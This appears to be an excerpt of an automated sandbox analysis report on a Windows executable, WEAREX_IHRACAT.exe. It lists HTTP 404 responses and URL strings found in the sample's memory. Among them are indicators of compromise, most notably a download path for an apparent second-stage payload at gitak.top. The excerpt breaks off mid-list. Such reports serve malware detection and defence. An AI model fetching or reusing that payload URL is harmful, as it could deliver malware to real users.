Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 29 Aug 2024 10:47:19 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingLast-Modified: Tue, 27 Aug 2024 00:54:25 GMTCache-Control: max-age=14400CF-Cache-Status: HITAge: 42Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=e%2FSMgWbpddeq%2FNvt4ouFM%2Ft8tKPaxufufFx4ue7U4Qi3HEA1ervrhFkn94kyx8AstrXZf9lon1y1gr0dWGtL0%2FbsJwUQcZC%2B88dTjCGMFKJYWGooBCqENCmkkGs%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8babf659ee228293-IADalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 29 Aug 2024 10:47:29 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingLast-Modified: Tue, 27 Aug 2024 00:54:25 GMTCache-Control: max-age=14400CF-Cache-Status: HITAge: 52Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WFdsMkrc8RRA2jzkju2Dw8YfkBOYChY%2BEGc3nHm3kIXPFWw9F3UVUDtLhDBvQbwh6Wg7aerf%2FHvzGIPhbFjr8q%2BHOzwBdSezZB6%2B%2FdYhD7tu22gnwnrrCpoRlbg%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8babf69bfe628236-IADalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 29 Aug 2024 10:47:40 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingLast-Modified: Tue, 27 Aug 2024 00:54:25 GMTCache-Control: max-age=14400CF-Cache-Status: HITAge: 63Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TijnKBodBwojS8fKVLojY4UC1Zb7qH4Z%2BxtG9PrWXRFiC80y5FNVswJzJLm0s5U0zdJRIgFfLZocw2Ur5PB80w5E4dR3i6Lkv31RTT9IhqHycTD8v6SWJwJBJCo%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8babf6de0f7707fb-IADalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 29 Aug 2024 10:47:51 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingLast-Modified: Tue, 27 Aug 2024 00:54:25 GMTCache-Control: max-age=14400CF-Cache-Status: HITAge: 74Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=p6y9po9cH2nR7wTK5ZhBrQFqpL6XH8LRPJgEsXPzNxbZPFXkx604oL8xF8tKONIlMDQBjbn4NiZJ1F8%2F4MzoNkLpzMF4e%2FTLAfb3v07Zg4JJx8awOkQkv2DNogU%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8babf720183182b6-IADalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 29 Aug 2024 10:48:01 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingLast-Modified: Tue, 27 Aug 2024 00:54:25 GMTCache-Control: max-age=14400CF-Cache-Status: HITAge: 84Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rkJ5muxbGh3WKoyUAuIjzC29ofOziiGvVSYbGuOiaLSxUxquXjRmKH4x0GOwL3PlJ%2BFgCW9S6PKXfKzgsUNHeYU%2BRtwomMTuu4KRYo%2BT%2FgzLC1BMk453BH0JSes%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8babf761c9cf588a-IADalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 29 Aug 2024 10:48:12 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingLast-Modified: Tue, 27 Aug 2024 00:54:25 GMTCache-Control: max-age=14400CF-Cache-Status: HITAge: 95Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2aDB4%2BOqdQtNoXmdnoTwWpdHpIsfDYmEtXWW0tXRoz%2FPb0Q5QiF31cAPs8jSnMVLyadDzg%2FnEfE4a7Z5xnOSQRkMHpJMIfIhboElqhIyGydqjP9Tiraq2vao8TE%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8babf7a3898859bc-IADalt-svc: h3=":443"; ma=86400

Source: WEAREX_IHRACAT.exe, 00000002.00000003.4620128373.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4305061153.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3460424593.00000000028B0000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6198947773.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3565994921.00000000028B0000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.5565166961.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2723003932.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2091965259.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4199758222.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2302487470.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2197210122.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3038762568.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3354740699.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2512754360.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2407654898.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3671604418.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.5988062623.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.1986769788.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.5777651201.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000002.6653532538.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3143833257.00000000028B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: WEAREX_IHRACAT.exe, 00000002.00000003.4620128373.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4305061153.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3460424593.00000000028B0000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6198947773.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3565994921.00000000028B0000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.5565166961.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2723003932.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2091965259.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4199758222.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2302487470.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2197210122.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3038762568.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3354740699.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2512754360.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2407654898.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3671604418.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.5988062623.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.1986769788.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.5777651201.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000002.6653532538.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3143833257.00000000028B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root
Source: WEAREX_IHRACAT.exe, 00000002.00000003.4620128373.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4305061153.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3460424593.00000000028B0000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6198947773.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3565994921.00000000028B0000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.5565166961.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2723003932.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2091965259.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4199758222.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2302487470.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2197210122.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3038762568.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3354740699.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2512754360.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2407654898.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3671604418.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.5988062623.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.1986769788.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.5777651201.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000002.6653532538.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3143833257.00000000028B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: WEAREX_IHRACAT.exe, 00000002.00000001.1798696574.0000000000649000.00000020.00000001.01000000.00000006.sdmp	String found in binary or memory: http://inference.location.live.com11111111-1111-1111-1111-111111111111https://partnernext-inference.
Source: WEAREX_IHRACAT.exe, Caterva.exe.2.dr	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: WEAREX_IHRACAT.exe, 00000002.00000001.1798696574.0000000000649000.00000020.00000001.01000000.00000006.sdmp	String found in binary or memory: http://www.gopher.ftp://ftp.
Source: WEAREX_IHRACAT.exe, 00000002.00000001.1798696574.0000000000626000.00000020.00000001.01000000.00000006.sdmp	String found in binary or memory: http://www.ibm.com/data/dtd/v11/ibmxhtml1-transitional.dtd-//W3O//DTD
Source: WEAREX_IHRACAT.exe, 00000002.00000003.4620128373.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4305061153.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3460424593.00000000028B0000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6198947773.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3565994921.00000000028B0000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.5565166961.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2723003932.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2091965259.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4199758222.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2302487470.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2197210122.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3038762568.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3354740699.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2512754360.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2407654898.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3671604418.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.5988062623.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.1986769788.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.5777651201.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000002.6653532538.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3143833257.00000000028B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.quovadis.bm0
Source: WEAREX_IHRACAT.exe, 00000002.00000001.1798696574.00000000005F2000.00000020.00000001.01000000.00000006.sdmp	String found in binary or memory: http://www.w3c.org/TR/1999/REC-html401-19991224/frameset.dtd
Source: WEAREX_IHRACAT.exe, 00000002.00000001.1798696574.00000000005F2000.00000020.00000001.01000000.00000006.sdmp	String found in binary or memory: http://www.w3c.org/TR/1999/REC-html401-19991224/loose.dtd
Source: WEAREX_IHRACAT.exe, 00000002.00000003.2197210122.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3143833257.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3249244982.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2618082877.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.5565166961.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4514950009.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4094289646.00000000028B0000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6198947773.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6410278380.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3671604418.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4725430608.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000002.6653610966.00000000028F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gitak.top/
Source: WEAREX_IHRACAT.exe, 00000002.00000003.5778014875.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.5672784128.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2512754360.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.5565166961.00000000028F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gitak.top/7~
Source: WEAREX_IHRACAT.exe, 00000002.00000003.3779599749.00000000028F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gitak.top/9~
Source: WEAREX_IHRACAT.exe, 00000002.00000003.4094289646.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4199758222.00000000028F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gitak.top/A~
Source: WEAREX_IHRACAT.exe, 00000002.00000003.2828520597.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2723257171.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2512754360.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2407870559.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2618082877.00000000028F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gitak.top/K~v
Source: WEAREX_IHRACAT.exe, 00000002.00000003.6410278380.00000000028AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gitak.top/My
Source: WEAREX_IHRACAT.exe, 00000002.00000003.4515139164.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3354740699.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3038962760.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2723257171.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2618082877.00000000028F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gitak.top/M~
Source: WEAREX_IHRACAT.exe, 00000002.00000003.4094289646.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2723257171.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.5672784128.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3249592249.00000000028F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gitak.top/W~
Source: WEAREX_IHRACAT.exe, 00000002.00000003.6093234586.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6620540975.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3249592249.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6304603220.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3143833257.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6198947773.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000002.6653610966.00000000028F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gitak.top/Y~
Source: WEAREX_IHRACAT.exe, 00000002.00000002.6653610966.00000000028F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gitak.top/dmAaHCQMI79.bin
Source: WEAREX_IHRACAT.exe, 00000002.00000003.4620128373.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4305061153.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3460424593.00000000028B0000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3565994921.00000000028B0000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4199758222.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2302487470.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3354740699.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2512754360.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2407654898.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3671604418.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4514950009.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2617874647.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4094289646.00000000028B0000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4725430608.00000000028AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gitak.top/dmAaHCQMI79.bin(
Source: WEAREX_IHRACAT.exe, 00000002.00000003.4620128373.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4305061153.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3460424593.00000000028B0000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6198947773.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3565994921.00000000028B0000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.5565166961.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4199758222.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3038762568.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3354740699.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3671604418.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.5988062623.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.5777651201.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000002.6653532538.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3143833257.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3249244982.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4514950009.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4094289646.00000000028B0000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.5672578365.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3779309512.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6620540975.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6515406962.00000000028AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gitak.top/dmAaHCQMI79.bin)
Source: WEAREX_IHRACAT.exe, 00000002.00000003.6093234586.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4515139164.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4305270974.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2302693054.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4620491652.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4094289646.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6620540975.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.5778014875.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3460424593.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3354740699.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6515406962.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2933587214.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6410278380.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3566476517.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3038962760.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4725765947.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.5988062623.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4199758222.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.5672784128.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3249592249.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6304603220.00000000028F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gitak.top/dmAaHCQMI79.bin-~
Source: WEAREX_IHRACAT.exe, 00000002.00000002.6653610966.00000000028F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gitak.top/dmAaHCQMI79.bin/
Source: WEAREX_IHRACAT.exe, 00000002.00000003.6093234586.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4515139164.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4305270974.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4094289646.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6620540975.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3460424593.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3354740699.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 